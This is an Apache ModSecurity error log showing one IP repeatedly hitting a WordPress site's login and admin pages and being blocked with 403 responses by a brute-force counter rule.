[Fri Feb 27 21:03:00.194277 2026] [:error] [pid 52073:tid 52094] [client 159.203.62.100:52654] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWBIa650YPyxXVeRY9tgAAAZI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:03:03.310350 2026] [:error] [pid 52073:tid 52097] [client 159.203.62.100:52654] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWB4a650YPyxXVeRY9xgAAAZU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:03:04.665655 2026] [:error] [pid 52073:tid 52087] [client 159.203.62.100:52654] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWCIa650YPyxXVeRY9zQAAAYs"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:03:07.336446 2026] [:error] [pid 52073:tid 52083] [client 159.203.62.100:52654] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWC4a650YPyxXVeRY90QAAAYc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:03:08.584730 2026] [:error] [pid 52073:tid 52079] [client 159.203.62.100:52654] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWDIa650YPyxXVeRY91AAAAYM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:03:11.426777 2026] [:error] [pid 52073:tid 52088] [client 159.203.62.100:52654] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWD4a650YPyxXVeRY92gAAAYw"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:03:12.656272 2026] [:error] [pid 52073:tid 52093] [client 159.203.62.100:52654] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWEIa650YPyxXVeRY93QAAAZE"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:03:12.656404 2026] [:error] [pid 52073:tid 52093] [client 159.203.62.100:52654] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWEIa650YPyxXVeRY93QAAAZE"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:03:14.956225 2026] [:error] [pid 54103:tid 54179] [client 159.203.62.100:48342] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWEuvG4MPCmE0B2sCgtwAAAMg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:03:16.158919 2026] [:error] [pid 54103:tid 54191] [client 159.203.62.100:48342] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWFOvG4MPCmE0B2sCguQAAANQ"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:03:17.449964 2026] [:error] [pid 54103:tid 54192] [client 159.203.62.100:48342] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaGWFevG4MPCmE0B2sCgvAAAANU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:03:18.308902 2026] [:error] [pid 62998:tid 63005] [client 159.203.62.100:48354] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaGWFlQeueXZDUmoLok_xQAAAQM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:03:19.141313 2026] [:error] [pid 52073:tid 52082] [client 159.203.62.100:48370] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaGWF4a650YPyxXVeRY96AAAAYY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:03:19.979504 2026] [:error] [pid 52073:tid 52086] [client 159.203.62.100:51442] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaGWF4a650YPyxXVeRY96gAAAYo"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:03:20.813918 2026] [:error] [pid 54102:tid 54154] [client 159.203.62.100:51456] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWGHi74D4fiYUm_GdqqQAAAIo"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:03:23.377882 2026] [:error] [pid 54102:tid 54160] [client 159.203.62.100:51456] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWG3i74D4fiYUm_GdqqwAAAJA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:03:24.610654 2026] [:error] [pid 54102:tid 54166] [client 159.203.62.100:51456] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWHHi74D4fiYUm_GdqrAAAAJY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:03:25.843251 2026] [:error] [pid 54102:tid 54156] [client 159.203.62.100:51456] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaGWHXi74D4fiYUm_GdqrQAAAIw"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:03:26.683153 2026] [:error] [pid 52073:tid 52083] [client 159.203.62.100:51472] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaGWHoa650YPyxXVeRY9_AAAAYc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:03:27.514647 2026] [:error] [pid 52073:tid 52095] [client 159.203.62.100:51480] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaGWH4a650YPyxXVeRY-AAAAAZM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:03:28.368154 2026] [:error] [pid 54231:tid 54251] [client 159.203.62.100:51482] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaGWIOTvb5AeyJCdY7AKIwAAAFE"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:03:29.205224 2026] [:error] [pid 49306:tid 49317] [client 159.203.62.100:54362] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWIfnSUDZue59Px9sJQAAAAUk"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:03:29.205282 2026] [:error] [pid 49306:tid 49317] [client 159.203.62.100:54362] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWIfnSUDZue59Px9sJQAAAAUk"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:03:30.047340 2026] [:error] [pid 56075:tid 56098] [client 159.203.62.100:54376] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaGWIsKBhrfI6KNv9Ri2FwAAABQ"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:03:30.880716 2026] [:error] [pid 49306:tid 49319] [client 159.203.62.100:54386] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaGWIvnSUDZue59Px9sJQwAAAUs"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:03:31.714598 2026] [:error] [pid 49306:tid 49313] [client 159.203.62.100:54400] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaGWI_nSUDZue59Px9sJRgAAAUU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:03:32.672979 2026] [:error] [pid 52073:tid 52081] [client 159.203.62.100:54416] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaGWJIa650YPyxXVeRY-EgAAAYU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:03:33.509788 2026] [:error] [pid 52073:tid 52091] [client 159.203.62.100:54424] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWJYa650YPyxXVeRY-FwAAAY8"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:03:36.141680 2026] [:error] [pid 52073:tid 52098] [client 159.203.62.100:54424] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWKIa650YPyxXVeRY-IgAAAZY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:03:37.362559 2026] [:error] [pid 52073:tid 52080] [client 159.203.62.100:54424] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWKYa650YPyxXVeRY-JQAAAYQ"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:03:38.603280 2026] [:error] [pid 52073:tid 52083] [client 159.203.62.100:54424] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaGWKoa650YPyxXVeRY-LAAAAYc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:03:39.439756 2026] [:error] [pid 49306:tid 49316] [client 159.203.62.100:52804] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaGWK_nSUDZue59Px9sJUQAAAUg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:03:40.273120 2026] [:error] [pid 62998:tid 63016] [client 159.203.62.100:52812] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaGWLFQeueXZDUmoLok_8AAAAQ4"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:03:41.111340 2026] [:error] [pid 62998:tid 63013] [client 159.203.62.100:52824] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaGWLVQeueXZDUmoLok_8QAAAQs"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:03:41.941243 2026] [:error] [pid 56075:tid 56099] [client 159.203.62.100:52830] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWLcKBhrfI6KNv9Ri2OAAAABU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:03:41.941316 2026] [:error] [pid 56075:tid 56099] [client 159.203.62.100:52830] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWLcKBhrfI6KNv9Ri2OAAAABU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:03:42.781489 2026] [:error] [pid 56075:tid 56101] [client 159.203.62.100:52832] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaGWLsKBhrfI6KNv9Ri2OgAAABc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:03:43.624136 2026] [:error] [pid 62998:tid 63021] [client 159.203.62.100:52846] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaGWL1QeueXZDUmoLok_9AAAARM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:03:44.456104 2026] [:error] [pid 56075:tid 56084] [client 159.203.62.100:52858] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaGWMMKBhrfI6KNv9Ri2QwAAAAc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:03:45.296041 2026] [:error] [pid 49306:tid 49318] [client 159.203.62.100:52864] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaGWMfnSUDZue59Px9sJXQAAAUo"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:03:46.134351 2026] [:error] [pid 49306:tid 49331] [client 159.203.62.100:52870] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWMvnSUDZue59Px9sJYAAAAVc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:03:47.557043 2026] [:error] [pid 49306:tid 49308] [client 159.203.62.100:52870] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaGWM_nSUDZue59Px9sJYgAAAUA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:03:48.398365 2026] [:error] [pid 54103:tid 54185] [client 159.203.62.100:52886] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaGWNOvG4MPCmE0B2sCgyAAAAM4"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:03:49.238639 2026] [:error] [pid 52073:tid 52078] [client 159.203.62.100:45286] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaGWNYa650YPyxXVeRY-RgAAAYI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:03:50.081832 2026] [:error] [pid 54103:tid 54186] [client 159.203.62.100:45300] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaGWNuvG4MPCmE0B2sCgzAAAAM8"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:03:50.923295 2026] [:error] [pid 54231:tid 54236] [client 159.203.62.100:45308] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWNuTvb5AeyJCdY7AKMwAAAEI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:03:53.685650 2026] [:error] [pid 54231:tid 54241] [client 159.203.62.100:45308] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWOeTvb5AeyJCdY7AKNQAAAEc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:03:55.011720 2026] [:error] [pid 54231:tid 54254] [client 159.203.62.100:45308] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWO-Tvb5AeyJCdY7AKNwAAAFQ"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:03:55.011820 2026] [:error] [pid 54231:tid 54254] [client 159.203.62.100:45308] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWO-Tvb5AeyJCdY7AKNwAAAFQ"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:03:55.848677 2026] [:error] [pid 56075:tid 56087] [client 159.203.62.100:45318] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaGWO8KBhrfI6KNv9Ri2XAAAAAo"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:03:56.679695 2026] [:error] [pid 62998:tid 63018] [client 159.203.62.100:45334] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaGWPFQeueXZDUmoLok_-QAAARA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:03:57.511515 2026] [:error] [pid 52073:tid 52084] [client 159.203.62.100:45344] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaGWPYa650YPyxXVeRY-XgAAAYg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:03:58.347736 2026] [:error] [pid 49306:tid 49326] [client 159.203.62.100:45348] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaGWPvnSUDZue59Px9sJbwAAAVI"], referer: https://gigfragments.org/wp-login.php
